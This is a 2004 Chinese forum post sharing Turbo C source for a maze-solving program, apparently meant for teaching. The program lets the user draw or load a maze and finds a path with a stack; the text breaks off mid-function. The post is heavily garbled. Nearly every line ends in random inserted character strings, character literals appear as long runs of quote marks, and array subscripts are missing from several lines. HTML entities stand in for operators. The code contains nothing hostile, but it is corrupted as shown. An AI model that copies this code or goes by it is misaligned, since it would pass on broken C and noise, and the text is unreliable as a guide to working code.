QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7652|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>% k+ C3 q0 Y9 A) l. ], w$ o
< align=left>程序目的:
# k$ f& |1 T# r2 |输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
7 t: G" F' @0 G7 L显示在屏幕上。
- w% f; ~+ W3 t3 e  P- w1 z4 K程序实现:
" M/ q3 `5 d4 c1 |可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
: L7 Q4 Y; }" V5 v) c" z+ h; I文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载9 T% m& [2 P" n$ P: X$ V- u& O) a
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫9 p8 M- U" C, O* y' p- |
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
7 b4 F, O. ^$ H) I8 O0 M否则会出现错误信息。输入开始时全是墙,用上下左右键移动,1 k" e8 c( F* n1 T  f1 q; K
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
8 J# t8 x* K5 X+ g; ?4 v将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,7 q2 g# w$ R: q6 U' N+ W0 `
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
1 f( D* w+ {& \0 A* S: J程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。5 r$ G* T- i% K  x- ~& c/ k) \# J2 d% X
不可以在VC上编译。+ D) K8 C; N/ A4 D. b
下载DOS版和windows版的迷宫游戏全部代码
+ t+ o3 q. v" g( i用户名:migong
$ k) ~5 b. w% t2 u8 t" y----------------------------------------------------------------------------------  F0 ^; \2 E' Y4 o
/*( C: f+ [2 N1 C2 h3 O  X5 l& v
MazePath Demo BY Turbo C 2.01 G  q2 U& U, p+ {
Copyright(c) RoverUnion. All right reserved.
; C. M2 P* j& h% XFilename: Maze.c
7 v# X- Z" }8 RAuthor Dongchengyu.5 D/ h& N1 |3 e& G* S
Ver 1.10
3 ?7 @; P0 W0 v*/4 T7 o& A; D  s. N& c9 Q
#include &lt;stdio.h&gt;
0 i9 p, ^! b) U4 D#include &lt;stdlib.h&gt;
: k' \# o1 K- e& J  J" ^#include &lt;malloc.h&gt;, u( W3 i  R" g$ ^$ \( K
#include &lt;conio.h&gt;0 a; r* q; A8 V
#include &lt;dos.h&gt;
: E  _) Z, a  _# u3 {1 S#define OK 1
! r: L: u! ?2 j: }/ b, w! f#define ERROR 0
- k& q4 T$ I0 z3 Q#define TRUE 1
" z8 G1 F! J1 q) g#define FALSE 0
, H* n5 `2 M' @% ?9 V! m& k#define F9 0x43
- n+ C$ g/ Q' T5 H( V" ^#define Esc 0x1b
! n$ l2 t, Q3 y" @#define Del 0x53
/ r; `& W3 Q" D#define Home 0x47
" r, W1 z) p8 F3 D8 W#define End 0x4f
* T0 V+ H  \2 u#define Space 0x20
% x+ h% a, B3 D4 p#define Up 0x48
) v7 b- L$ k% i" j9 J0 z  ]#define Down 0x50( z9 _+ ]) w& H, H
#define Left 0x4b
" o6 k- R0 O4 ^" p/ \$ o#define Right 0x4d
+ e$ Y. m1 H# s$ Q! s#define Enter 0x0d
' g& L/ L; V/ y" z1 T1 ?$ ]#define F2 0x3c
9 D& z* j: [3 [& R" a#define F3 0x3d: h. `( [4 a2 e& l) ]3 V7 \
#define STACK_INIT_SIZE 2002 W6 i1 {9 ~5 |% S. k; y# x# t5 I* h
#define STACKINCREMENT 10# N+ V* v# V6 t' U+ b
typedef int Boolean;0 r) H' E; H/ t, u6 g$ ]
typedef int Status;
5 e' x! g6 }; Y/ Z/ @0 x' Ptypedef struct {! D1 }: m" o6 T4 O3 j
int x;6 k1 _! k0 [, `
int y;; H6 l) Z2 w5 e
} PosType;
# A0 @7 c$ h" w* \" o4 Ctypedef struct {
! x, d  T( m- J% Xint ord;
% S1 R/ H, h7 i: B$ P- c! H3 \PosType seat;
8 X$ S# {9 ?: B) lint di;
; T8 e! U" w) D3 B  f! H- u& @, U; E4 Z} SElemType;7 N7 f3 r# m8 w/ ?4 x6 T
typedef struct {% S% N0 c* o+ Y7 k" P; F& a
int td;
: ~2 O- I- j: R1 zint foot;" L' ?: `* w! e  n0 T/ u. a, Y
int mark;* t2 h/ W7 n* ?4 l8 F+ Z
} MazeType;9 p7 q. ~6 g2 Y; r2 H$ K
typedef struct {
$ E6 I- g6 b, k/ F& dSElemType *base;
/ F  a0 i7 S7 }+ D* j- DSElemType *top;
. {# i1 ~1 h* W. l9 P& B+ ~int stacksize;
: {: s8 d, b. D} Stack;$ `9 R8 W- x. H$ n* T% A7 G
int Maze[20][30];
( i" G+ o4 @# t" T# @+ E, GMazeType maze[20][30];+ Q! b# ]$ `+ e7 s+ Q
PosType StartPlace;
/ \( N9 z: W, d4 PPosType EndPlace;
* {4 H, _! W* mint count;
# d! _% E! ?2 m, F' Uint m,n;
2 p* R# L3 M/ B3 _Boolean b_start=FALSE,b_end=FALSE;) [  _) A4 I) ~6 v, W/ O0 l
void CreatMaze(void);6 i1 R5 n+ G8 X- O) }
Status SaveMaze(char *filename);
8 a5 K9 p/ p& IStatus LoadMaze(char *filename);& b0 S; m0 a" e6 B$ g
void Error(char *message);
( m& d6 ~$ n" P: A$ GStatus InitStack(Stack *s);
$ {: `5 }. v, m( N+ FStatus DestroyStack(Stack *s);3 W; ]. [9 `  t! g: r! q  l: J
Status ClearStack(Stack *s);
5 {* S/ }# E$ B) R+ G$ [Boolean StackEmpty(Stack *s);
8 \+ v5 }! H( b5 [' h& mint StackLength(Stack *s);
$ E1 b/ G4 \' r6 vStatus Push(Stack *s,SElemType e);
$ g( a( [. h. }) X& n3 B: j4 |SElemType Pop(Stack *s,SElemType e);
, w" g( ]4 F4 p% p% R  y0 gStatus GetTop(Stack *s,SElemType *e);
$ p! I" O- t7 g8 `) c9 C1 D& lStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
- u/ }6 Z9 e1 ?4 E& J* L+ _0 WBoolean Pass(PosType curpos);
4 a; K6 O% L( Nvoid MarkPrint(PosType seat);
% i( k. E: C7 xvoid FootPrint(PosType curpos);8 c5 L, O% {4 g! F* q7 @
PosType NextPos(PosType seat,int di);5 {8 r- W) \+ v
Status MazePath(PosType start,PosType end);
& }' R& j9 c9 t! L# g$ Zvoid CreatMaze(void)7 |5 D+ M  k: Z9 c# C
/* Form the maze. */
3 \% e/ K' [3 z* P* ^2 I6 Z8 O{
* ^! M! |: Y4 Z; hvoid Error(char *message);( i4 }! B0 P3 s: r7 V( h/ g
Status SaveMaze(char *filename);, ?+ `8 u9 _# M8 t' }8 [& }
Status LoadMaze(char *filename);
# u8 i; G: ], [# @7 i1 }int i,j;
+ K( k- p4 A* h3 W0 F, C" o/ ~int x,y;
" z7 J0 i3 j3 q) b3 e+ Gchar c;
' q7 g5 d% @0 z2 `+ jchar savename[12],loadname[12];
- l3 ]9 K1 V+ ~3 v' NBoolean flag=FALSE,load=FALSE;
8 t- y% l  ?4 t" _7 ?" x& Hclrscr();
8 H7 i% Q& Q" a! G* sprintf("Menu:\n\n");
6 }: n% |- s; s( n3 \& }printf("1.Load Mazefile*.dd)\n\n");
5 ]6 i/ n+ e; Lprintf("2.Input Maze:\n\n");
7 N5 k/ w" f/ m! e5 A$ F: ]; t# R' O0 t, ?printf("Input your choice: ");
( k+ p. j6 T6 Kdo- f$ r) H  T' Q6 m. W, _
{# F( _( H+ [0 d' E9 \5 B
c=getch();5 y$ y5 H! X" P8 H) ~, g+ S! ~
switch(c)9 y0 y0 p$ [1 B: _3 F# V, I6 @
{
( N( Y1 D1 c, U- vcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;1 ~- l. N' _) x# R
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
+ ^( G- G# n7 J) f1 xcase Esc: sleep(1); exit(1);# P# Z: |  U; a2 `+ B) d! F& l9 F
default: break;: ?+ f: K) \) c% U2 p# C" ^3 M$ L
}( x; M0 {$ b9 x; ~& ^  v
}( f! b' G# Y( R# e5 u
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;3 Y& Q* ^& \0 j! }- }6 l8 W) {$ n
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
/ c2 N( d- L: u' h3 M/ N# v{
2 `2 O" D9 s; s" }4 k/ `printf("\n\nLoadName: ");7 K1 `0 p- a' Z1 W9 E  H
scanf("%s",loadname);% ~# k# J( q1 W( `4 C6 t/ m" \1 f
if(LoadMaze(loadname))
% u' S( \, I5 {, J- g  z9 ~  ~: r5 C{
1 j& v% Z  o) @8 Gsleep(1); load=TRUE;# |- m1 P5 P' P  d# S) C0 q/ s! M
}" Z2 @* f  f6 S8 C
else { gotoxy(1,9); printf("Load fail! "); }
' v" ?4 A7 g3 g; t+ }" \! {' H2 |& p0 s}
  [+ W: h& i! c) A: w3 m* G6 L( \if(!load)
3 {5 a- B5 g7 ?5 t4 j. R{
3 b# o: Z2 {" G7 pprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
! a& i+ S2 p9 ?1 c, i; s; A+ cprintf("\nInput Length :\n");
$ ]1 f2 E2 }( b$ f5 \; y) Rscanf("%d",&amp;m);
. ~# L9 A2 D! `9 o8 Yprintf("\nInput Width :\n");, l: \) }, n/ e2 T) L$ o' g
scanf("%d",&amp;n);, q: }1 L+ N7 S' Z1 f: K+ I
if(m&lt;4||n&lt;4) Error("Input");
( d% U1 A) t' y* t: N3 }" o+ sif(m&gt;30||n&gt;20) Error("Maze too large");
' z& L" J" K" k/ ~% U: E* B1 Sfor(i=0;i&lt;30;i++)  i: g# _6 J  C; E% Z6 L3 [' \
for(j=0;j&lt;20;j++)
& Q5 k" F" O' U+ g& hMaze[j]=2;8 G( ?) P( ?% A
StartPlace.x=0;
+ @8 b" h; A& i+ g  XStartPlace.y=0;
* Y7 z+ a* s/ i" q% R/ b$ JEndPlace.x=0;
4 T7 }$ ~$ H1 i' UEndPlace.y=0;
  {  F+ E8 d& T- Gclrscr();- i$ J, V' u1 c6 f
printf("\n");
6 l: {/ B- h: Q. H7 Z, X6 ^for(i=1;i&lt;=n;i++)
# W/ p8 w; k- Y9 }& B{
/ h6 x4 |; ^: |# n  B7 {8 Z8 Ffor(j=1;j&lt;=m;j++): ]8 Y7 @; B8 t" |5 p, v: Q4 t: ~
{; P/ M: U! m) x, T, y
printf(" #");
6 ?- u! J. Z' F) Q2 E; uMaze[i-1][j-1]=0;  K& Z3 ~5 Y# }; X' L
}
% E  w5 m+ x# n" Wprintf("\n");8 x7 ~4 V; `1 [
}
( i( b7 a3 p4 k" e% F2 ^+ H}: Y9 u+ K) E6 j3 p- M! ~
gotoxy(65,5);* k8 G5 `  E9 @; v" N
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
9 R, h; k6 J0 x9 N/ e3 B# ~) \; p/ }gotoxy(65,7);
! v' g8 h/ q. D, [& h9 rprintf("Start:Home");
% v. Y* r  D3 I6 }* t0 ]/ Q: Ngotoxy(65,9);' I+ V5 |' c1 C) l$ T* ]/ k
printf("End:End");! ~  ^( G1 W, h# Z1 W2 U+ ~% }) m
gotoxy(65,11);
$ X# W. ?! d* j: Y5 ^6 uprintf("Delete Wallel");
) o% p9 o6 H0 e( `- k) Ngotoxy(65,13);
0 u7 p" y3 u) E: yprintf("Enter Wall:Enter");& e! L: J# k: n" F3 v  a
gotoxy(65,15);
- ?6 f& i% d9 f% T0 T1 Q9 L6 Qprintf("Save Maze:F2");$ Z* N/ c8 g$ y0 _) W
gotoxy(65,17);* `$ j1 h' |% [  }. l& M
printf("Complete:F9");
& W  c/ R6 }& qgotoxy(65,19);
6 g, D' U9 _4 j/ ?$ fprintf("Exit:Esc");
& b7 x6 ?6 _5 ?9 u8 N1 \5 R  ugotoxy(4,3);+ W8 j" m5 i4 R( N; L
x=4;y=3;. t! ?1 [+ h; v' f9 p  k. f
do! [( ^5 v) i) l/ c: x* L6 I) p
{  t& p5 J1 c) p- ]+ B& R
c=getch();) x' k. I, M0 t* V
switch(c)
9 a0 F# N1 _. m0 H8 h5 W{" e9 Y) A5 y9 m4 ~7 U3 ], o
case Up: if(y&gt;3) { y--; gotoxy(x,y); }% J; d* S0 K" R# E* ~
break;
3 W, ?+ i+ n- K) ucase Down: if(y&lt;n) { y++; gotoxy(x,y); }" a( Y; [! w8 e* b1 ]% j
break;/ c. U& y2 Q+ ^0 n) t9 H" o
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }' P8 j) a8 q! G2 c( s' H" L
break;
6 r- j* m' P) Ucase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }+ \) R5 o# J; e' @
break;; ?2 B' \% q7 d2 g( i2 V" n
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;# i/ B; r$ A5 }& O5 i' f4 R
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
) I9 V; F- v' {4 Tputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);" F( }1 S7 k* C0 s) v
break;( D/ c3 c) n* }2 E- c8 M
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
  _' C/ V" [3 _& c' Mif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
0 X7 S0 b/ u5 Aputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);; k' o8 _9 z7 `  ]& C7 H
break;* X$ W0 Z, f  t: o6 G- n
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start): q& e7 U# [2 E5 @
{
) @# H. x  i, t& a/ L  J0 }6 `StartPlace.x=x/2-1;+ A* l9 q7 }- D+ k+ `$ t
StartPlace.y=y-2;" \  ~7 T: G1 [
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');) L/ ?. g' h1 O
gotoxy(x,y);
8 p! H' z5 R5 V. ~' W# g; sb_start=TRUE;2 x8 R" n* F8 l0 O0 A
}
  Y  }' D% s5 l; k- M+ P% wbreak;
" J' g4 L( T$ g# y$ I+ f3 ocase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end). M* ]8 S  u4 ^3 V
{
+ s# p4 q- K2 F/ U! h0 y9 M# FEndPlace.x=x/2-1;" s8 n2 n- q1 D5 s0 U6 P
EndPlace.y=y-2;9 `3 r/ S& h/ R& ]" Q( h7 _
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');. W- G! Z+ \1 U4 t1 ^! X% s+ M$ D
gotoxy(x,y);
- f5 k& |- O% X$ |) qb_end=TRUE;2 }# G, p+ ~! d1 D* {% j! S8 a
}
$ ~1 Y2 ]% z- f3 ubreak;
% V$ E* H$ T$ S6 h; r5 s0 Hcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
5 ^9 r" [3 P( ~' q4 }' v9 h* @case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;! s6 _2 d; O9 Y! q7 ~" G+ G% M2 E
case F2: gotoxy(2,22);
, I; U& I( F- \# I& {5 \6 Aprintf("Savename:");
: y4 r8 Y0 N) C  W, cscanf("%s",savename);7 G5 m2 k0 A7 R3 R2 q$ v4 ^5 Z
gotoxy(2,22);9 R6 J5 u% N; s
if(SaveMaze(savename)) printf("Save OK! ");& [; k: e  T6 ?7 g" [3 d8 ?: S3 ^
else printf("Save fail! ");
+ j1 K; H1 Q& ]4 osleep(1);- Y* A9 A+ C+ ]
gotoxy(2,22);" M0 n# k% a0 G2 R1 U
printf(" ");
8 N& P! M$ ~# i) y+ v0 y3 ^gotoxy(x,y);
3 G7 F9 h' {1 C% D; @. H9 U; q6 v% Cbreak;" P* m+ {% B; i$ Y+ e
default: break;8 X+ @+ ^: [, j7 p# v2 b- g' M$ I& x
}6 E9 }8 z4 o& w0 p
}" Y2 N) G1 c' D7 a. C) }
while(!flag);
5 O* _2 t& W' ]( m) V' Hfor(i=0;i&lt;30;i++)5 F% p. S, T2 U" C( z
for(j=0;j&lt;20;j++)9 k6 i6 p( z, N2 \! v4 D  f$ D
{
4 `) y: z+ S' A4 y$ smaze[j].td=Maze[j];3 N7 `& d. W' l7 }$ t! ~
maze[j].mark=0;; @% {' V7 \; B. u  R3 q
maze[j].foot=0;
* P$ ]5 d1 i- E2 N- K}
: o& [* g. j* e! ]9 I5 W}2 }& \: r4 _9 F9 L
Status LoadMaze(char *file)9 z! q% _' y  X  I4 f7 w
/* The maze has been loaded. */2 m7 [* Q3 {: l) _7 p0 {
{  i# Y1 w4 O7 D0 Y0 C
FILE *fp;; w' |$ x8 W% ~$ c7 C" V+ M% R
char *buffer;8 k* M2 c+ G6 i* J. f
char ch;/ z  N7 l) P3 }, Z! {
int i=0,j,k;
6 w: w- ?. y1 u. }- gBoolean len=FALSE,wid=FALSE;
  c6 @4 X! f! F- _if((fp=fopen(file,"r"))==NULL)
' P- j  x' K+ x$ E; b% {; jreturn ERROR;
) R3 @6 h1 I  obuffer=(char *)malloc(600*sizeof(char));4 J. F+ \; u5 \" y7 Z) G, a
ch=fgetc(fp);# E% w5 U3 E' ~- Z$ ?1 _6 G8 V
while(ch!=EOF)
) @, }) Z1 V8 ]' b{
5 r/ g0 o+ h3 V4 |! z% W& ]buffer=ch;
; [% O" d# p1 M( \7 i5 t9 ?* Fi++;
* @  {" N; t4 h. \4 q) Qch=fgetc(fp);* v) Q* k/ o# ?& p5 M) M# v) S: x
}; ^  H% {$ Y& q, _. K
m=30;n=20;
3 T* }' \0 E' J3 {. I7 Hfor(i=0;i&lt;600;i++)
- s( Q: @6 m/ N$ f4 Z) {{
- I4 P3 |# J* A; Q7 ~j=i/30; k=i%30;, |3 r% ?4 ?3 |; n: O
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }! V5 E  Q3 x$ {; z2 n
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }& L' }2 X+ p* R, w8 ]% n4 V- a* x
switch(buffer)1 d4 c+ V" k" j: k
{
9 \# [: p9 n& [; c9 hcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;/ k' p/ b/ Y4 {8 l! @1 B
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
) N1 T& }6 h6 ~8 Rcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;& B, F% w; X: ^! K$ `6 g3 o
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
) n* D+ \! N& w- @( UStartPlace.x=k;
+ n9 n0 \# E. h( H7 b! L' u3 Z2 |1 pStartPlace.y=j;, E, F: R! W; S) g# T
b_start=TRUE;
* r& W  v# O% X7 _6 V) B$ Pbreak;! q- E% Z, X: r
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
5 d( @' P( X; h. {' d& d7 X: i" tEndPlace.x=k;
" ^: {& s2 D9 _3 q" [4 z; nEndPlace.y=j;( o' |1 T- B$ W& s& _  P
b_end=TRUE;
( Q* R1 q% p) f' L( C  Obreak;; c% P, L: a  ^2 m6 Y) G+ ?1 k8 S
default : break;
! i( B6 v# a  e5 m+ a6 b. w4 q9 m+ J}# S7 f! G6 |( {) }
}& l' O: B- ^1 K& x
fclose(fp);( Q; j0 g$ e2 B/ c' t, m' u  O
clrscr();, t7 _! v& Y7 @# |+ o! |4 R/ Q
for(i=0;i&lt;30;i++)
% q- X& A" E  `- h* ufor(j=0;j&lt;20;j++)
8 C2 W& D5 P) f8 Q{
3 k" m$ _  C6 ]9 [# h2 r+ Qmaze[j].td=Maze[j];
7 {# W6 R0 m+ T1 k0 }2 g7 wmaze[j].foot=0;. b7 ?* O* Z4 ]2 ^$ C/ S
maze[j].mark=0;
4 i5 |* F% b& G. `if(Maze[j]==0)
- e; \& C$ ]  H$ ~) U  S) F{+ x6 k0 b2 }" n. t. o9 u
gotoxy(2*i+2,j+2);
, `1 a7 {' v0 c4 W; g, T* Rputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
% n5 A3 u/ N2 Z7 ~- y- \; A) ~}
2 [& c( Z' ?, s0 ?+ \1 u}8 x2 N% V$ T: B
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
1 J) f) _% M" r# ^6 Qputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
7 Z; l* f8 M/ a* E+ G% Qgotoxy(2*EndPlace.x+2,EndPlace.y+2);
0 _8 G: e7 q5 lputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');4 u! L2 T* ]* w, P$ j$ }2 i
return OK;
3 ]% U# u: I/ }+ l+ Z+ `}
) n! Y( Z, f( ^/ m0 B2 sStatus SaveMaze(char *filename)
. Q3 i, k6 f6 D# d7 y/* The maze has been saved. */) C  w; l8 J( O6 A" T
{
& ]. C5 x# n( j2 Q- v( [8 hFILE *fp;* p. t- }8 P4 t
char *buffer;6 h/ s& R, |7 ?+ m
int i,j,k;) B( Y% M! ?' T/ S4 X, A' T
fp=fopen(filename,"wb");2 B, P7 _6 q* y; @: \: X% y8 A
buffer=(char *)malloc(600*sizeof(char));
/ g! g: @' W$ [for(i=0;i&lt;600;i++)+ Z9 ?  N9 c% u4 P3 D
{" n, l5 y; ?- i; l
j=i/30; k=i%30;
( X' Q3 i1 m9 J6 E( tswitch(Maze[j][k])
1 w3 M* c, g3 E: e& X) p% V{
& W9 H! V# M3 ~7 w4 |/ kcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
6 j, R, o  K4 a% p3 hcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
+ d1 A# v/ b0 d1 [# x5 q3 O# }$ j" Gcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
2 j0 l( l9 n1 g0 Q+ a3 d0 o# [# N2 ydefault : Error("Write"); break;# t: S3 u& W: b3 U/ ^
}
5 a! I/ s% T  O7 {4 }8 Y$ S, E, iif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';! Z7 q# Z# {" q1 \+ N6 h; v3 f/ T
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';! e# f  T5 `" ]$ g5 V
}
" H1 ~: E$ k+ M7 ]fwrite(buffer,600,1,fp);
# A; f% o) r/ H, L8 _0 v1 Ifree(buffer);8 M1 f. Z! Z: |
fclose(fp);
6 Q7 y3 _3 ^; E9 `7 Oreturn OK;
$ B5 o" V: c1 y) u% |& z, @  l, G1 J}
9 M4 y( ?7 ~$ Pvoid Error(char *message)* u0 f; W* U& o9 E1 e7 y  g' [
{
0 S) O9 S4 z+ B+ o! s+ l9 k& mclrscr();( n) N4 a7 |, |) P: b2 Y( W" A! r
fprintf(stderr,"Error:%s\n",message);
# s2 t3 y) ^" G2 ]4 w: c. eexit(1);
/ ~3 {1 y9 S3 L- P3 z} /* Error */5 a- t3 l3 D$ Z

/ z2 [2 Z7 Z5 A& c: Y. UStatus InitStack(Stack *s)" K7 b% J+ j3 U0 |
/* The stack s has been created and is initialized to be empty. */
. ?9 B7 ^7 m* A0 X6 j{2 p/ P9 ]: |# g, P
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));3 u- _, [8 u. G$ u9 w, z
if(!s-&gt;base) Error("Overflow");% E. h$ M; C3 B7 I! {. Y
s-&gt;top=s-&gt;base;0 e( J! I6 X  G3 n% H  v) R
s-&gt;stacksize=STACK_INIT_SIZE;
, d6 \3 X. U# u3 freturn OK;$ u. t/ ?( w6 }
} /* InitStack */0 S, ^+ h* c  q$ w! v" G
Status DestroyStack(Stack *s)
4 Z1 O8 M& w: C! X) {/* The stack s has been destroyed. */' Q7 `6 Y" w2 Q7 N2 }
{
" p* }" S9 [+ i! v* w+ T+ y  D# r3 Ns-&gt;top=NULL;. r% a1 c( [- Z- r0 l
s-&gt;stacksize=0;) S$ ^1 k1 B4 R! ^- I
free(s-&gt;base);
4 c- Q0 a; n! w  M  Ps-&gt;base=NULL;
6 q4 B" V6 \7 i' Dreturn OK;4 R& o, P: j5 l: J
} /* DestroyStack */
, p8 B* A/ B3 Q$ d3 kStatus ClearStack(Stack *s)% _$ }5 n' T2 F! U, H
/* The stack has been clear to be maximum. */+ w; f" E8 Z/ F" q; M* ^9 [
{
& i. q8 x+ [, Vs-&gt;top=s-&gt;base;
7 K  @& f; Y, t5 Gs-&gt;stacksize=STACK_INIT_SIZE;
0 b4 l: A) N) j  O3 m( C& ^return OK;
) o2 ]) l2 |3 W4 c7 e} /* ClearStack */) X5 u- J! J8 K# {& y- b- ?# x
Boolean StackEmpty(Stack *s)0 o& r' X, D5 ]* w
/* Check if the stack s is empty. */
0 ^5 h/ n: o7 q% T{( ~- i! o. r8 A' {, L3 ]
if(s-&gt;top==s-&gt;base) return TRUE;- d  q: ?% a1 s8 h
else return FALSE;* [, ~: S; H; x! ?1 I
} /* StackEmpty */
' M4 j' o' t5 Yint StackLength(Stack *s); \# ~+ I/ h0 p4 L. _7 v
/* Gain the length of the stack s. */$ E  \' l* m; P" ]
{
2 L+ h3 ?( Q. o; x5 w9 lif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);# E# C/ K& g4 c% D1 E
else return 0;8 C$ m; L) F5 U! Q; d6 {
} /* StackLength */4 m8 ^9 w6 d8 e3 K5 M
Status Push(Stack *s,SElemType e)
  ]  K' e+ f% O2 a" F; L# i0 e/* The element e has been pushed into the stack s. */
  F! h4 _4 U* c+ I/ z6 z9 M{+ T8 w8 S: d1 f: G
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
  v9 o8 Z- ~$ h2 t% r% s{
4 n+ L+ u4 Z6 Y% Ns-&gt;base=(SElemType *)realloc(s-&gt;base,  k# S2 e/ b4 m5 f
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));+ P  b0 ]3 L& `  o
if(!s-&gt;base) Error("Overflow");
. m7 K8 O+ ?- ^4 M/ G4 R9 N% }9 T3 `s-&gt;top=s-&gt;base+s-&gt;stacksize;& _. a4 S1 L$ {0 j4 N: _
s-&gt;stacksize+=STACKINCREMENT;( |0 U  K8 \$ v/ ?1 K
}! ^1 f/ b1 q3 ~( S" O# t- X
*s-&gt;top++=e;, l& t. j" }  f9 `7 N! {
return OK;
- T$ e  x0 N6 U} /* Push */
. I, B' u# j2 Q0 `SElemType Pop(Stack *s,SElemType e)
; h' M3 A9 G: H7 L7 E/* The element e has been removed from the stack s. */
( f1 T, ]/ g; _6 x{3 R4 ~' m! Z' {: D% }
if(s-&gt;top==s-&gt;base) Error("op");
0 y% e' ?/ r5 g8 H$ S; |) Pe=*--s-&gt;top;& @4 p- b) }  G( N2 d. Y5 i
return e;$ O. \9 I- f+ ^% J( B
} /* Pop */2 j" Z5 d% [  n( l! _. s) R
Status GetTop(Stack *s,SElemType *e)
/ G: F8 F8 p& Z4 H7 l/* The element e has got to the top of the stack s.*/
# H7 l/ V7 l1 H( [0 ]& @{1 X$ j( D5 y8 U. R
if(s-&gt;top==s-&gt;base) Error("GetTop");1 o0 ^* d5 k. D' r1 V1 F; g0 w
*e=*(s-&gt;top-1);5 z' I( h6 d) b* @$ f
return OK;# E% B0 S" t/ j3 y9 ]
} /* GetTop */' r. v6 Z; u& F
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */$ x8 z/ k& k% W, U
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))& l/ E# K7 T7 j
{
9 o" @- C, [2 tSElemType p;& V  X: ]/ M: V$ ]
int result;1 Q$ {/ M2 r3 k6 \7 u1 u
if(s-&gt;top==s-&gt;base) return ERROR;
% Z6 \& F, t' y- tp=s-&gt;base;/ U+ ?6 D5 N0 N  f$ V$ m0 _4 ^
while(!(p==s-&gt;top)); m8 Z1 G  M  P
{. k) z# `$ C" R  X# J* B+ L9 z
result=(*visit)(p);
+ J% l7 w1 u) g: cp++;0 X  e6 c  G4 P; O" Z
}
6 @% }8 b! b* n0 d2 s! Xreturn OK;
: q) w& o3 v, _# ~/ H3 A, ?& N} */* W. k- Y; d9 s' h+ ?2 B
Boolean Pass(PosType curpos)0 @; z/ n9 v3 i, A3 r3 L
/* Check if the current position can be passed. */
; _& [# B; K0 k% N, N( x, r5 h3 f, ?: s{" t5 a2 h+ M9 t: H5 }0 n( a
if(maze[curpos.x][curpos.y].td==1&amp;&amp;5 X; g5 u& v, q5 |6 O# N' r8 x
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
